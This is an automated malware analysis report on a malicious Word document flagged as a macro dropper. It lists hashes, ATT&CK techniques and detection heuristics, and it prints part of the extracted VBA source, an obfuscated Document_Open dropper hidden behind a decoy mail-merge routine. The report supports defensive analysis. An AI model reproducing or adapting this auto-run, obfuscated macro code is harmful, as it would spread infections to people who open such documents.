Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a5d793d4342073b7…

MALICIOUS

Office (OLE)

195.0 KB Created: 2017-01-31 13:23:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: 20dce54d319d7e9ed52fad367a518446 SHA-1: c1f022f17fc4f9182e8931b829f158ecbeed7189 SHA-256: a5d793d4342073b7267db718e469007c26bd0528f538f6410a5aa02581ed14d2
142 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1204.002 Malicious File

The file contains VBA macros, including a Document_Open macro, and prompts the user to enable content, indicating a lure to execute malicious code. The ClamAV detection as 'Doc.Dropper.ZwMacros' further supports its nature as a macro-based dropper. The VBA script appears to interact with Word objects and potentially ADODB recordsets, suggesting it may be designed to manipulate documents or data after execution, possibly to facilitate further stages of infection.

Heuristics 5

  • ClamAV: Doc.Dropper.ZwMacros-6057750-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.ZwMacros-6057750-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://ns.adobe.com/camera-raw-settings/1.0/In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14616 bytes
SHA-256: b846d5d97943fa7d3c67aaa894b8a73ea1d90d5b561d4347aa40efea9ae2ba83
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub ControlWord()
    Dim objWord As New Word.Application
    Dim rsContacts As New ADODB.Recordset
    Dim strLtrContent As String
    rsContacts.ActiveConnection = CurrentProject.Connection
    rsContacts.Open "tblContacts"
    
    objWord.Documents.Add
    
    Do While Not rsContacts.EOF
      strLtrContent = rsContacts("FirstName") & " " & rsContacts("LastName")
      strLtrContent = strLtrContent & rsContacts("Address") & vbCrLf
      strLtrContent = strLtrContent & rsContacts("City") & ", " & rsContacts("Region")
      strLtrContent = strLtrContent & "  " & rsContacts("PostalCode")
      strLtrContent = strLtrContent & "Dear " & rsContacts("FirstName") & " "
      strLtrContent = strLtrContent & rsContacts("LastName") & ":"
    
        objWord.Selection.EndOf
        objWord.Selection.Text = strLtrContent
    
        objWord.Selection.EndOf
        objWord.Selection.InsertBreak
        
        rsContacts.MoveNext
    Loop
    objWord.Visible = True
    objWord.PrintPreview = True
End Sub


Function lugger(horsewoman, brydges, aristides)
#If Win64 Then
Dim auxilia As Variant
Dim anathematize As Integer
Dim schoolmate As LongPtr
Dim agathis As LongPtr
Dim dowdiness As LongPtr
Dim sauciness As String
Dim millwright As LongPtr
Dim rifled As LongPtr
#Else
Dim agathis As Long
Dim alto As Byte
Dim schoolmate As Long
Dim carboy As Byte
Dim millwright As Long
Dim deperdition As Variant
Dim dowdiness As Long
Dim goodness As Variant
Dim rifled As Long
Dim aeronautical As String
Dim limbic As Variant
#End If
diamond = diamond
methanol = "maximizing"
agathis = horsewoman
rifled = aristides
bazeingr = VBA.Math.Round(455.7117 + 88)
millwright = brydges
euglenophyta = 46
aphonous = 17050
lamba = 427088
indiaman = SLN(lamba, aphonous, euglenophyta)

bazeingr = Rnd(270.6004 + 118)
schoolmate = 63 + 39 + 41 - 144
acronymic ByVal schoolmate, agathis, millwright, rifled, dowdiness
bazeingr = bazeingr \ 187
End Function
Private Sub Document_Open()
Dim microscopically As String
Dim longing As String
tamandua = "attainable"
barrels = "choppy"
intercommunity
cheremis = 44
aeroscope = 34761
pinguecula = 226617
huddle = SLN(pinguecula, aeroscope, cheremis)
End Sub
Sub intercommunity()
Dim hardfought As Byte
Dim balas As Variant
zabaglione = ThisDocument.ComputeStatistics(wdStatisticPages)
fardel.tumult.Value = zabaglione + 9
blanched = "modernism"
pinball = "manofwar"
clientele = "an" & "imad" & "vert"
Set albania = fardel.tumult.SelectedItem
concierge = 46
wartorn = 15087
mainstream = 346124
affectionate = SLN(mainstream, wartorn, concierge)

attractability = albania.Name
scolytus = 5844
colorist = Right(attractability, scolytus)
hone = despritepigram.ornamentation(colorist)
charley = 31
unanswered = 23719
cymbid = 186242
impersonal = SLN(cymbid, unanswered, charley)

gaterum = "similar"
masdevallia = "ladino"
#If Win64 Then
Dim christianity As Variant
Dim eyedness As LongPtr
Dim breechesmaker As LongPtr
Dim fivehitter As Variant
#Else
Dim masterdom As String
Dim breechesmaker As Long
Dim aythya As String
Dim eyedness As Long
#End If
bootlegging = 44 - 44
actinomorphic = "assumiing"
bruchus = "hi" & "ghfl" & "own"
formosan = 4096
trilobate = 94
fearing = 31220
propylaeum = 282632
fearing = Pmt(0.0721, trilobate, -31870, propylaeum, 0)

hymenophyllaceae = "mortify"
babysitter = "cr" & "aggy"
pearliness = "davy"
allegorical = 34
drifting = 38056
lunular = 321649
ropedancing = SLN(lunular, drifting, allegorical)

bodacious = hone
attract = "fluoroboride"
hokkaido = "offsite"
eyedness = dissocial(bodacious)
biogenetic = "ad" & "vances"
phoenicophorium = "nether"
#If Win64 Then
Dim down As Integer
Dim dabchick As LongPtr

... (truncated)

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